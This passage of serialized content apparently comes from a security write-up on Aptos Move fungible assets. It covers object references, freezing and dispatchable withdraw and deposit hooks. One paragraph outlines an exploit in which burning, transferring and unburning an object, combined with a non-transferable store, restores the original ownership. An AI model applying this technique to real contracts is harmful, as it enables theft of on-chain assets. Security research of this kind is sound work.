transfer_with_ref",{"type":24,"tag":90,"props":66743,"children":66744},{"style":114},[66745],{"type":29,"value":117},{"type":24,"tag":90,"props":66747,"children":66748},{"style":97},[66749],{"type":29,"value":65163},{"type":24,"tag":90,"props":66751,"children":66752},{"style":120},[66753],{"type":29,"value":78},{"type":24,"tag":90,"props":66755,"children":66756},{"style":146},[66757],{"type":29,"value":66758}," LinearTransferRef",{"type":24,"tag":90,"props":66760,"children":66761},{"style":114},[66762],{"type":29,"value":133},{"type":24,"tag":90,"props":66764,"children":66765},{"style":136},[66766],{"type":29,"value":34541},{"type":24,"tag":90,"props":66768,"children":66769},{"style":120},[66770],{"type":29,"value":78},{"type":24,"tag":90,"props":66772,"children":66773},{"style":136},[66774],{"type":29,"value":8635},{"type":24,"tag":90,"props":66776,"children":66777},{"style":114},[66778],{"type":29,"value":172},{"type":24,"tag":90,"props":66780,"children":66781},{"style":136},[66782],{"type":29,"value":8729},{"type":24,"tag":90,"props":66784,"children":66785},{"style":146},[66786],{"type":29,"value":65800},{"type":24,"tag":90,"props":66788,"children":66789},{"style":114},[66790],{"type":29,"value":269},{"type":24,"tag":90,"props":66792,"children":66793},{"class":92,"line":200},[66794,66798,66802,66806,66810,66814,66819,66823,66827,66831,66835,66839,66843,66847],{"type":24,"tag":90,"props":66795,"children":66796},{"style":108},[66797],{"type":29,"value":64170},{"type":24,"tag":90,"props":66799,"children":66800},{"style":114},[66801],{"type":29,"value":117},{"type":24,"tag":90,"props":66803,"children":66804},{"style":120},[66805],{"type":29,"value":22417},{"type":24,"tag":90,"props":66807,"children":66808},{"style":136},[66809],{"type":29,"value":9089},{"type":24,"tag":90,"props":66811,"children":66812},{"style":114},[66813],{"type":29,"value":1575},{"type":24,"tag":90,"props":66815,"children":66816},{"style":146},[66817],{"type":29,"value":66818},"Untransferable",{"type":24,"tag":90,"props":66820,"children":66821},{"style":114},[66822],{"type":29,"value":9992},{"type":24,"tag":90,"props":66824,"children":66825},{"style":97},[66826],{"type":29,"value":65163},{"type":24,"tag":90,"props":66828,"children":66829},{"style":120},[66830],{"type":29,"value":226},{"type":24,"tag":90,"props":66832,"children":66833},{"style":97},[66834],{"type":29,"value":128},{"type":24,"tag":90,"props":66836,"children":66837},{"style":114},[66838],{"type":29,"value":64759},{"type":24,"tag":90,"props":66840,"children":66841},{"style":120},[66842],{"type":29,"value":1211},{"type":24,"tag":90,"props":66844,"children":66845},{"style":108},[66846],{"type":29,"value":65645},{"type":24,"tag":90,"props":66848,"children":66849},{"style":114},[66850],{"type":29,"value":66851},"(ENOT_MOVABLE));\n",{"type":24,"tag":90,"props":66853,"children":66854},{"class":92,"line":239},[66855,66859,66863,66867,66871,66875,66879,66883,66887,66891,66895],{"type":24,"tag":90,"props":66856,"children":66857},{"style":97},[66858],{"type":29,"value":206},{"type":24,"tag":90,"props":66860,"children":66861},{"style":136},[66862],{"type":29,"value":64320},{"type":24,"tag":90,"props":66864,"children":66865},{"style":120},[66866],{"type":29,"value":216},{"type":24,"tag":90,"props":66868,"children":66869},{"style":136},[66870],{"type":29,"value":9978},{"type":24,"tag":90,"props":66872,"children":66873},{"style":114},[66874],{"type":29,"value":1575},{"type":24,"tag":90,"props":66876,"children":66877},{"style":146},[66878],{"type":29,"value":66295},{"type":24,"tag":90,"props":66880,"children":66881},{"style":114},[66882],{"type":29,"value":9992},{"type":24,"tag":90,"props":66884,"children":66885},{"style":97},[66886],{"type":29,"value":65163},{"type":24,"tag":90,"props":66888,"children":66889},{"style":120},[66890],{"type":29,"value":226},{"type":24,"tag":90,"props":66892,"children":66893},{"style":97},[66894],{"type":29,"value":128},{"type":24,"tag":90,"props":66896,"children":66897},{"style":114},[66898],{"type":29,"value":571},{"type":24,"tag":90,"props":66900,"children":66901},{"class":92,"line":248},[66902,66906],{"type":24,"tag":90,"props":66903,"children":66904},{"style":108},[66905],{"type":29,"value":64170},{"type":24,"tag":90,"props":66907,"children":66908},{"style":114},[66909],{"type":29,"value":680},{"type":24,"tag":90,"props":66911,"children":66912},{"class":92,"line":258},[66913,66918,66922,66927,66931,66936,66940],{"type":24,"tag":90,"props":66914,"children":66915},{"style":136},[66916],{"type":29,"value":66917}," object",{"type":24,"tag":90,"props":66919,"children":66920},{"style":120},[66921],{"type":29,"value":226},{"type":24,"tag":90,"props":66923,"children":66924},{"style":114},[66925],{"type":29,"value":66926},"owner ",{"type":24,"tag":90,"props":66928,"children":66929},{"style":120},[66930],{"type":29,"value":10951},{"type":24,"tag":90,"props":66932,"children":66933},{"style":97},[66934],{"type":29,"value":66935}," ref",{"type":24,"tag":90,"props":66937,"children":66938},{"style":120},[66939],{"type":29,"value":226},{"type":24,"tag":90,"props":66941,"children":66942},{"style":114},[66943],{"type":29,"value":66944},"owner,\n",{"type":24,"tag":90,"props":66946,"children":66947},{"class":92,"line":272},[66948,66953,66957,66961],{"type":24,"tag":90,"props":66949,"children":66950},{"style":114},[66951],{"type":29,"value":66952}," error",{"type":24,"tag":90,"props":66954,"children":66955},{"style":120},[66956],{"type":29,"value":1211},{"type":24,"tag":90,"props":66958,"children":66959},{"style":108},[66960],{"type":29,"value":65645},{"type":24,"tag":90,"props":66962,"children":66963},{"style":114},[66964],{"type":29,"value":66329},{"type":24,"tag":90,"props":66966,"children":66967},{"class":92,"line":281},[66968],{"type":24,"tag":90,"props":66969,"children":66970},{"style":114},[66971],{"type":29,"value":45476},{"type":24,"tag":90,"props":66973,"children":66974},{"class":92,"line":384},[66975],{"type":24,"tag":90,"props":66976,"children":66977},{"style":114},[66978],{"type":29,"value":63612},{"type":24,"tag":90,"props":66980,"children":66981},{"class":92,"line":420},[66982,66986,66990],{"type":24,"tag":90,"props":66983,"children":66984},{"style":114},[66985],{"type":29,"value":64544},{"type":24,"tag":90,"props":66987,"children":66988},{"style":120},[66989],{"type":29,"value":3013},{"type":24,"tag":90,"props":66991,"children":66992},{"style":114},[66993],{"type":29,"value":14141},{"type":24,"tag":90,"props":66995,"children":66996},{"class":92,"line":428},[66997],{"type":24,"tag":90,"props":66998,"children":66999},{"style":114},[67000],{"type":29,"value":63612},{"type":24,"tag":90,"props":67002,"children":67003},{"class":92,"line":437},[67004,67008,67012,67016,67020,67025],{"type":24,"tag":90,"props":67005,"children":67006},{"style":136},[67007],{"type":29,"value":66652},{"type":24,"tag":90,"props":67009,"children":67010},{"style":120},[67011],{"type":29,"value":226},{"type":24,"tag":90,"props":67013,"children":67014},{"style":114},[67015],{"type":29,"value":66926},{"type":24,"tag":90,"props":67017,"children":67018},{"style":120},[67019],{"type":29,"value":5491},{"type":24,"tag":90,"props":67021,"children":67022},{"style":136},[67023],{"type":29,"value":67024}," to",{"type":24,"tag":90,"props":67026,"children":67027},{"style":114},[67028],{"type":29,"value":381},{"type":24,"tag":90,"props":67030,"children":67031},{"class":92,"line":574},[67032],{"type":24,"tag":90,"props":67033,"children":67034},{"style":114},[67035],{"type":29,"value":827},{"type":24,"tag":25,"props":67037,"children":67038},{},[67039,67041,67046,67048,67053],{"type":29,"value":67040},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":24,"tag":32,"props":67042,"children":67044},{"className":67043},[],[67045],{"type":29,"value":65698},{"type":29,"value":67047},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":24,"tag":32,"props":67049,"children":67051},{"className":67050},[],[67052],{"type":29,"value":9528},{"type":29,"value":67054}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":24,"tag":1019,"props":67056,"children":67058},{"id":67057},"references",[67059],{"type":29,"value":67060},"References",{"type":24,"tag":25,"props":67062,"children":67063},{},[67064,67069,67071,67077,67079,67084,67086,67091],{"type":24,"tag":32,"props":67065,"children":67067},{"className":67066},[],[67068],{"type":29,"value":67060},{"type":29,"value":67070}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":24,"tag":32,"props":67072,"children":67074},{"className":67073},[],[67075],{"type":29,"value":67076},"Refs",{"type":29,"value":67078}," are based on the ",{"type":24,"tag":32,"props":67080,"children":67082},{"className":67081},[],[67083],{"type":29,"value":50674},{"type":29,"value":67085}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":24,"tag":32,"props":67087,"children":67089},{"className":67088},[],[67090],{"type":29,"value":50674},{"type":29,"value":67092}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":24,"tag":25,"props":67094,"children":67095},{},[67096,67098,67103,67105,67110,67111,67117,67119,67124,67126,67131],{"type":29,"value":67097},"Let's get back to the ",{"type":24,"tag":32,"props":67099,"children":67101},{"className":67100},[],[67102],{"type":29,"value":63902},{"type":29,"value":67104}," deletion example. Both ",{"type":24,"tag":32,"props":67106,"children":67108},{"className":67107},[],[67109],{"type":29,"value":65187},{"type":29,"value":13360},{"type":24,"tag":32,"props":67112,"children":67114},{"className":67113},[],[67115],{"type":29,"value":67116},"fungible_asset::remove_store",{"type":29,"value":67118}," use the same object-specific ",{"type":24,"tag":32,"props":67120,"children":67122},{"className":67121},[],[67123],{"type":29,"value":65119},{"type":29,"value":67125}," permission. It can be created only during object creation. There is no separate ",{"type":24,"tag":32,"props":67127,"children":67129},{"className":67128},[],[67130],{"type":29,"value":65119},{"type":29,"value":67132}," for fungible assets.",{"type":24,"tag":80,"props":67134,"children":67135},{"className":82,"code":65069,"language":84,"meta":7,"style":7},[67136],{"type":24,"tag":32,"props":67137,"children":67138},{"__ignoreMap":7},[67139,67146,67185,67192,67199],{"type":24,"tag":90,"props":67140,"children":67141},{"class":92,"line":93},[67142],{"type":24,"tag":90,"props":67143,"children":67144},{"style":252},[67145],{"type":29,"value":65081},{"type":24,"tag":90,"props":67147,"children":67148},{"class":92,"line":200},[67149,67153,67157,67161,67165,67169,67173,67177,67181],{"type":24,"tag":90,"props":67150,"children":67151},{"style":136},[67152],{"type":29,"value":63501},{"type":24,"tag":90,"props":67154,"children":67155},{"style":136},[67156],{"type":29,"value":8592},{"type":24,"tag":90,"props":67158,"children":67159},{"style":108},[67160],{"type":29,"value":65097},{"type":24,"tag":90,"props":67162,"children":67163},{"style":114},[67164],{"type":29,"value":117},{"type":24,"tag":90,"props":67166,"children":67167},{"style":136},[67168],{"type":29,"value":65106},{"type":24,"tag":90,"props":67170,"children":67171},{"style":120},[67172],{"type":29,"value":78},{"type":24,"tag":90,"props":67174,"children":67175},{"style":120},[67176],{"type":29,"value":455},{"type":24,"tag":90,"props":67178,"children":67179},{"style":146},[67180],{"type":29,"value":65119},{"type":24,"tag":90,"props":67182,"children":67183},{"style":114},[67184],{"type":29,"value":1686},{"type":24,"tag":90,"props":67186,"children":67187},{"class":92,"line":239},[67188],{"type":24,"tag":90,"props":67189,"children":67190},{"emptyLinePlaceholder":16},[67191],{"type":29,"value":245},{"type":24,"tag":90,"props":67193,"children":67194},{"class":92,"line":248},[67195],{"type":24,"tag":90,"props":67196,"children":67197},{"style":252},[67198],{"type":29,"value":65138},{"type":24,"tag":90,"props":67200,"children":67201},{"class":92,"line":258},[67202,67206,67210,67214,67218,67222,67226,67230],{"type":24,"tag":90,"props":67203,"children":67204},{"style":136},[67205],{"type":29,"value":63501},{"type":24,"tag":90,"props":67207,"children":67208},{"style":136},[67209],{"type":29,"value":8592},{"type":24,"tag":90,"props":67211,"children":67212},{"style":108},[67213],{"type":29,"value":65154},{"type":24,"tag":90,"props":67215,"children":67216},{"style":114},[67217],{"type":29,"value":117},{"type":24,"tag":90,"props":67219,"children":67220},{"style":97},[67221],{"type":29,"value":65163},{"type":24,"tag":90,"props":67223,"children":67224},{"style":120},[67225],{"type":29,"value":78},{"type":24,"tag":90,"props":67227,"children":67228},{"style":146},[67229],{"type":29,"value":65172},{"type":24,"tag":90,"props":67231,"children":67232},{"style":114},[67233],{"type":29,"value":1686},{"type":24,"tag":25,"props":67235,"children":67236},{},[67237,67239,67244,67246,67252],{"type":29,"value":67238},"On the other hand, the \"frozen\" status of a ",{"type":24,"tag":32,"props":67240,"children":67242},{"className":67241},[],[67243],{"type":29,"value":63902},{"type":29,"value":67245}," is toggled using a ",{"type":24,"tag":32,"props":67247,"children":67249},{"className":67248},[],[67250],{"type":29,"value":67251},"TransferRef",{"type":29,"value":67253},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":24,"tag":80,"props":67255,"children":67257},{"className":82,"code":67256,"language":84,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[67258],{"type":24,"tag":32,"props":67259,"children":67260},{"__ignoreMap":7},[67261,67297,67321,67348,67367],{"type":24,"tag":90,"props":67262,"children":67263},{"class":92,"line":93},[67264,67268,67272,67277,67281,67285,67289,67293],{"type":24,"tag":90,"props":67265,"children":67266},{"style":136},[67267],{"type":29,"value":63501},{"type":24,"tag":90,"props":67269,"children":67270},{"style":136},[67271],{"type":29,"value":8592},{"type":24,"tag":90,"props":67273,"children":67274},{"style":136},[67275],{"type":29,"value":67276}," set_frozen_flag",{"type":24,"tag":90,"props":67278,"children":67279},{"style":114},[67280],{"type":29,"value":1575},{"type":24,"tag":90,"props":67282,"children":67283},{"style":146},[67284],{"type":29,"value":1960},{"type":24,"tag":90,"props":67286,"children":67287},{"style":120},[67288],{"type":29,"value":78},{"type":24,"tag":90,"props":67290,"children":67291},{"style":136},[67292],{"type":29,"value":8317},{"type":24,"tag":90,"props":67294,"children":67295},{"style":114},[67296],{"type":29,"value":8973},{"type":24,"tag":90,"props":67298,"children":67299},{"class":92,"line":200},[67300,67305,67309,67313,67317],{"type":24,"tag":90,"props":67301,"children":67302},{"style":97},[67303],{"type":29,"value":67304}," ref",{"type":24,"tag":90,"props":67306,"children":67307},{"style":120},[67308],{"type":29,"value":78},{"type":24,"tag":90,"props":67310,"children":67311},{"style":120},[67312],{"type":29,"value":455},{"type":24,"tag":90,"props":67314,"children":67315},{"style":146},[67316],{"type":29,"value":67251},{"type":24,"tag":90,"props":67318,"children":67319},{"style":114},[67320],{"type":29,"value":748},{"type":24,"tag":90,"props":67322,"children":67323},{"class":92,"line":239},[67324,67328,67332,67336,67340,67344],{"type":24,"tag":90,"props":67325,"children":67326},{"style":136},[67327],{"type":29,"value":31225},{"type":24,"tag":90,"props":67329,"children":67330},{"style":120},[67331],{"type":29,"value":78},{"type":24,"tag":90,"props":67333,"children":67334},{"style":146},[67335],{"type":29,"value":63387},{"type":24,"tag":90,"props":67337,"children":67338},{"style":114},[67339],{"type":29,"value":1575},{"type":24,"tag":90,"props":67341,"children":67342},{"style":146},[67343],{"type":29,"value":1960},{"type":24,"tag":90,"props":67345,"children":67346},{"style":114},[67347],{"type":29,"value":8523},{"type":24,"tag":90,"props":67349,"children":67350},{"class":92,"line":248},[67351,67355,67359,67363],{"type":24,"tag":90,"props":67352,"children":67353},{"style":136},[67354],{"type":29,"value":63039},{"type":24,"tag":90,"props":67356,"children":67357},{"style":120},[67358],{"type":29,"value":78},{"type":24,"tag":90,"props":67360,"children":67361},{"style":146},[67362],{"type":29,"value":167},{"type":24,"tag":90,"props":67364,"children":67365},{"style":114},[67366],{"type":29,"value":748},{"type":24,"tag":90,"props":67368,"children":67369},{"class":92,"line":258},[67370],{"type":24,"tag":90,"props":67371,"children":67372},{"style":114},[67373],{"type":29,"value":1686},{"type":24,"tag":25,"props":67375,"children":67376},{},[67377,67378,67383,67384,67389],{"type":29,"value":3131},{"type":24,"tag":32,"props":67379,"children":67381},{"className":67380},[],[67382],{"type":29,"value":50674},{"type":29,"value":2877},{"type":24,"tag":32,"props":67385,"children":67387},{"className":67386},[],[67388],{"type":29,"value":67251},{"type":29,"value":67390}," is used to transfer object ownership:",{"type":24,"tag":80,"props":67392,"children":67394},{"className":82,"code":67393,"language":84,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[67395],{"type":24,"tag":32,"props":67396,"children":67397},{"__ignoreMap":7},[67398,67406,67439,67458],{"type":24,"tag":90,"props":67399,"children":67400},{"class":92,"line":93},[67401],{"type":24,"tag":90,"props":67402,"children":67403},{"style":252},[67404],{"type":29,"value":67405},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":24,"tag":90,"props":67407,"children":67408},{"class":92,"line":200},[67409,67413,67418,67422,67427,67431,67435],{"type":24,"tag":90,"props":67410,"children":67411},{"style":97},[67412],{"type":29,"value":3050},{"type":24,"tag":90,"props":67414,"children":67415},{"style":146},[67416],{"type":29,"value":67417}," TransferRef",{"type":24,"tag":90,"props":67419,"children":67420},{"style":136},[67421],{"type":29,"value":11783},{"type":24,"tag":90,"props":67423,"children":67424},{"style":136},[67425],{"type":29,"value":67426}," drop",{"type":24,"tag":90,"props":67428,"children":67429},{"style":114},[67430],{"type":29,"value":133},{"type":24,"tag":90,"props":67432,"children":67433},{"style":136},[67434],{"type":29,"value":8326},{"type":24,"tag":90,"props":67436,"children":67437},{"style":114},[67438],{"type":29,"value":269},{"type":24,"tag":90,"props":67440,"children":67441},{"class":92,"line":239},[67442,67446,67450,67454],{"type":24,"tag":90,"props":67443,"children":67444},{"style":97},[67445],{"type":29,"value":22582},{"type":24,"tag":90,"props":67447,"children":67448},{"style":120},[67449],{"type":29,"value":78},{"type":24,"tag":90,"props":67451,"children":67452},{"style":136},[67453],{"type":29,"value":8635},{"type":24,"tag":90,"props":67455,"children":67456},{"style":114},[67457],{"type":29,"value":748},{"type":24,"tag":90,"props":67459,"children":67460},{"class":92,"line":248},[67461],{"type":24,"tag":90,"props":67462,"children":67463},{"style":114},[67464],{"type":29,"value":827},{"type":24,"tag":25,"props":67466,"children":67467},{},[67468,67470,67475],{"type":29,"value":67469},"While the fungible asset's ",{"type":24,"tag":32,"props":67471,"children":67473},{"className":67472},[],[67474],{"type":29,"value":67251},{"type":29,"value":67476}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":24,"tag":80,"props":67478,"children":67480},{"className":82,"code":67479,"language":84,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[67481],{"type":24,"tag":32,"props":67482,"children":67483},{"__ignoreMap":7},[67484,67492,67500,67531,67558],{"type":24,"tag":90,"props":67485,"children":67486},{"class":92,"line":93},[67487],{"type":24,"tag":90,"props":67488,"children":67489},{"style":252},[67490],{"type":29,"value":67491},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":24,"tag":90,"props":67493,"children":67494},{"class":92,"line":200},[67495],{"type":24,"tag":90,"props":67496,"children":67497},{"style":252},[67498],{"type":29,"value":67499},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":24,"tag":90,"props":67501,"children":67502},{"class":92,"line":239},[67503,67507,67511,67515,67519,67523,67527],{"type":24,"tag":90,"props":67504,"children":67505},{"style":97},[67506],{"type":29,"value":3050},{"type":24,"tag":90,"props":67508,"children":67509},{"style":146},[67510],{"type":29,"value":67417},{"type":24,"tag":90,"props":67512,"children":67513},{"style":136},[67514],{"type":29,"value":11783},{"type":24,"tag":90,"props":67516,"children":67517},{"style":136},[67518],{"type":29,"value":67426},{"type":24,"tag":90,"props":67520,"children":67521},{"style":114},[67522],{"type":29,"value":133},{"type":24,"tag":90,"props":67524,"children":67525},{"style":136},[67526],{"type":29,"value":8326},{"type":24,"tag":90,"props":67528,"children":67529},{"style":114},[67530],{"type":29,"value":269},{"type":24,"tag":90,"props":67532,"children":67533},{"class":92,"line":248},[67534,67538,67542,67546,67550,67554],{"type":24,"tag":90,"props":67535,"children":67536},{"style":136},[67537],{"type":29,"value":63378},{"type":24,"tag":90,"props":67539,"children":67540},{"style":120},[67541],{"type":29,"value":78},{"type":24,"tag":90,"props":67543,"children":67544},{"style":146},[67545],{"type":29,"value":63387},{"type":24,"tag":90,"props":67547,"children":67548},{"style":114},[67549],{"type":29,"value":1575},{"type":24,"tag":90,"props":67551,"children":67552},{"style":146},[67553],{"type":29,"value":63396},{"type":24,"tag":90,"props":67555,"children":67556},{"style":114},[67557],{"type":29,"value":8377},{"type":24,"tag":90,"props":67559,"children":67560},{"class":92,"line":258},[67561],{"type":24,"tag":90,"props":67562,"children":67563},{"style":114},[67564],{"type":29,"value":827},{"type":24,"tag":25,"props":67566,"children":67567},{},[67568,67570,67576,67578,67584],{"type":29,"value":67569},"Additionally, there are fungible asset-specific references such as ",{"type":24,"tag":32,"props":67571,"children":67573},{"className":67572},[],[67574],{"type":29,"value":67575},"MintRef",{"type":29,"value":67577}," for minting and ",{"type":24,"tag":32,"props":67579,"children":67581},{"className":67580},[],[67582],{"type":29,"value":67583},"BurnRef",{"type":29,"value":67585}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":24,"tag":850,"props":67587,"children":67589},{"id":67588},"dispatchable-fungible-assets",[67590],{"type":29,"value":67591},"Dispatchable fungible assets",{"type":24,"tag":25,"props":67593,"children":67594},{},[67595],{"type":29,"value":67596},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":24,"tag":25,"props":67598,"children":67599},{},[67600],{"type":29,"value":67601},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":24,"tag":67603,"props":67604,"children":67605},"warning",{},[67606],{"type":24,"tag":25,"props":67607,"children":67608},{},[67609,67611,67617],{"type":29,"value":67610},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":24,"tag":32,"props":67612,"children":67614},{"className":67613},[],[67615],{"type":29,"value":67616},"transfer_assert_minimum_deposit",{"type":29,"value":67618}," that can help mitigate such risks.",{"type":24,"tag":25,"props":67620,"children":67621},{},[67622,67624,67629,67631,67638],{"type":29,"value":67623},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":24,"tag":32,"props":67625,"children":67627},{"className":67626},[],[67628],{"type":29,"value":63501},{"type":29,"value":67630}," to ensure ",{"type":24,"tag":69,"props":67632,"children":67635},{"href":67633,"rel":67634},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[73],[67636],{"type":29,"value":67637},"their signature remains immutable",{"type":29,"value":67639},". An example implementation might look like this:",{"type":24,"tag":80,"props":67641,"children":67643},{"className":82,"code":67642,"language":84,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[67644],{"type":24,"tag":32,"props":67645,"children":67646},{"__ignoreMap":7},[67647,67683,67710,67729,67753,67772,67780,67826,67833,67840,67876,67903,67923,67946,67953,67960,68004],{"type":24,"tag":90,"props":67648,"children":67649},{"class":92,"line":93},[67650,67654,67658,67663,67667,67671,67675,67679],{"type":24,"tag":90,"props":67651,"children":67652},{"style":136},[67653],{"type":29,"value":63501},{"type":24,"tag":90,"props":67655,"children":67656},{"style":136},[67657],{"type":29,"value":8592},{"type":24,"tag":90,"props":67659,"children":67660},{"style":136},[67661],{"type":29,"value":67662}," withdraw_hook",{"type":24,"tag":90,"props":67664,"children":67665},{"style":114},[67666],{"type":29,"value":1575},{"type":24,"tag":90,"props":67668,"children":67669},{"style":146},[67670],{"type":29,"value":1960},{"type":24,"tag":90,"props":67672,"children":67673},{"style":120},[67674],{"type":29,"value":78},{"type":24,"tag":90,"props":67676,"children":67677},{"style":136},[67678],{"type":29,"value":8317},{"type":24,"tag":90,"props":67680,"children":67681},{"style":114},[67682],{"type":29,"value":8973},{"type":24,"tag":90,"props":67684,"children":67685},{"class":92,"line":200},[67686,67690,67694,67698,67702,67706],{"type":24,"tag":90,"props":67687,"children":67688},{"style":136},[67689],{"type":29,"value":31225},{"type":24,"tag":90,"props":67691,"children":67692},{"style":120},[67693],{"type":29,"value":78},{"type":24,"tag":90,"props":67695,"children":67696},{"style":146},[67697],{"type":29,"value":63387},{"type":24,"tag":90,"props":67699,"children":67700},{"style":114},[67701],{"type":29,"value":1575},{"type":24,"tag":90,"props":67703,"children":67704},{"style":146},[67705],{"type":29,"value":1960},{"type":24,"tag":90,"props":67707,"children":67708},{"style":114},[67709],{"type":29,"value":8523},{"type":24,"tag":90,"props":67711,"children":67712},{"class":92,"line":239},[67713,67717,67721,67725],{"type":24,"tag":90,"props":67714,"children":67715},{"style":136},[67716],{"type":29,"value":63408},{"type":24,"tag":90,"props":67718,"children":67719},{"style":120},[67720],{"type":29,"value":78},{"type":24,"tag":90,"props":67722,"children":67723},{"style":146},[67724],{"type":29,"value":376},{"type":24,"tag":90,"props":67726,"children":67727},{"style":114},[67728],{"type":29,"value":748},{"type":24,"tag":90,"props":67730,"children":67731},{"class":92,"line":248},[67732,67737,67741,67745,67749],{"type":24,"tag":90,"props":67733,"children":67734},{"style":136},[67735],{"type":29,"value":67736}," transfer_ref",{"type":24,"tag":90,"props":67738,"children":67739},{"style":120},[67740],{"type":29,"value":78},{"type":24,"tag":90,"props":67742,"children":67743},{"style":120},[67744],{"type":29,"value":455},{"type":24,"tag":90,"props":67746,"children":67747},{"style":146},[67748],{"type":29,"value":67251},{"type":24,"tag":90,"props":67750,"children":67751},{"style":114},[67752],{"type":29,"value":748},{"type":24,"tag":90,"props":67754,"children":67755},{"class":92,"line":258},[67756,67760,67764,67768],{"type":24,"tag":90,"props":67757,"children":67758},{"style":114},[67759],{"type":29,"value":517},{"type":24,"tag":90,"props":67761,"children":67762},{"style":120},[67763],{"type":29,"value":78},{"type":24,"tag":90,"props":67765,"children":67766},{"style":146},[67767],{"type":29,"value":63366},{"type":24,"tag":90,"props":67769,"children":67770},{"style":114},[67771],{"type":29,"value":269},{"type":24,"tag":90,"props":67773,"children":67774},{"class":92,"line":272},[67775],{"type":24,"tag":90,"props":67776,"children":67777},{"style":252},[67778],{"type":29,"value":67779}," //check paused, gather fees etc.\n",{"type":24,"tag":90,"props":67781,"children":67782},{"class":92,"line":281},[67783,67788,67792,67797,67801,67806,67810,67814,67818,67822],{"type":24,"tag":90,"props":67784,"children":67785},{"style":114},[67786],{"type":29,"value":67787}," fungible_asset",{"type":24,"tag":90,"props":67789,"children":67790},{"style":120},[67791],{"type":29,"value":1211},{"type":24,"tag":90,"props":67793,"children":67794},{"style":108},[67795],{"type":29,"value":67796},"withdraw_with_ref",{"type":24,"tag":90,"props":67798,"children":67799},{"style":114},[67800],{"type":29,"value":117},{"type":24,"tag":90,"props":67802,"children":67803},{"style":136},[67804],{"type":29,"value":67805},"transfer_ref",{"type":24,"tag":90,"props":67807,"children":67808},{"style":114},[67809],{"type":29,"value":133},{"type":24,"tag":90,"props":67811,"children":67812},{"style":136},[67813],{"type":29,"value":8326},{"type":24,"tag":90,"props":67815,"children":67816},{"style":114},[67817],{"type":29,"value":133},{"type":24,"tag":90,"props":67819,"children":67820},{"style":136},[67821],{"type":29,"value":22102},{"type":24,"tag":90,"props":67823,"children":67824},{"style":114},[67825],{"type":29,"value":1686},{"type":24,"tag":90,"props":67827,"children":67828},{"class":92,"line":384},[67829],{"type":24,"tag":90,"props":67830,"children":67831},{"style":114},[67832],{"type":29,"value":827},{"type":24,"tag":90,"props":67834,"children":67835},{"class":92,"line":420},[67836],{"type":24,"tag":90,"props":67837,"children":67838},{"emptyLinePlaceholder":16},[67839],{"type":29,"value":245},{"type":24,"tag":90,"props":67841,"children":67842},{"class":92,"line":428},[67843,67847,67851,67856,67860,67864,67868,67872],{"type":24,"tag":90,"props":67844,"children":67845},{"style":136},[67846],{"type":29,"value":63501},{"type":24,"tag":90,"props":67848,"children":67849},{"style":136},[67850],{"type":29,"value":8592},{"type":24,"tag":90,"props":67852,"children":67853},{"style":136},[67854],{"type":29,"value":67855}," deposit_hook",{"type":24,"tag":90,"props":67857,"children":67858},{"style":114},[67859],{"type":29,"value":1575},{"type":24,"tag":90,"props":67861,"children":67862},{"style":146},[67863],{"type":29,"value":1960},{"type":24,"tag":90,"props":67865,"children":67866},{"style":120},[67867],{"type":29,"value":78},{"type":24,"tag":90,"props":67869,"children":67870},{"style":136},[67871],{"type":29,"value":8317},{"type":24,"tag":90,"props":67873,"children":67874},{"style":114},[67875],{"type":29,"value":8973},{"type":24,"tag":90,"props":67877,"children":67878},{"class":92,"line":437},[67879,67883,67887,67891,67895,67899],{"type":24,"tag":90,"props":67880,"children":67881},{"style":136},[67882],{"type":29,"value":31225},{"type":24,"tag":90,"props":67884,"children":67885},{"style":120},[67886],{"type":29,"value":78},{"type":24,"tag":90,"props":67888,"children":67889},{"style":146},[67890],{"type":29,"value":63387},{"type":24,"tag":90,"props":67892,"children":67893},{"style":114},[67894],{"type":29,"value":1575},{"type":24,"tag":90,"props":67896,"children":67897},{"style":146},[67898],{"type":29,"value":1960},{"type":24,"tag":90,"props":67900,"children":67901},{"style":114},[67902],{"type":29,"value":8523},{"type":24,"tag":90,"props":67904,"children":67905},{"class":92,"line":574},[67906,67911,67915,67919],{"type":24,"tag":90,"props":67907,"children":67908},{"style":136},[67909],{"type":29,"value":67910}," 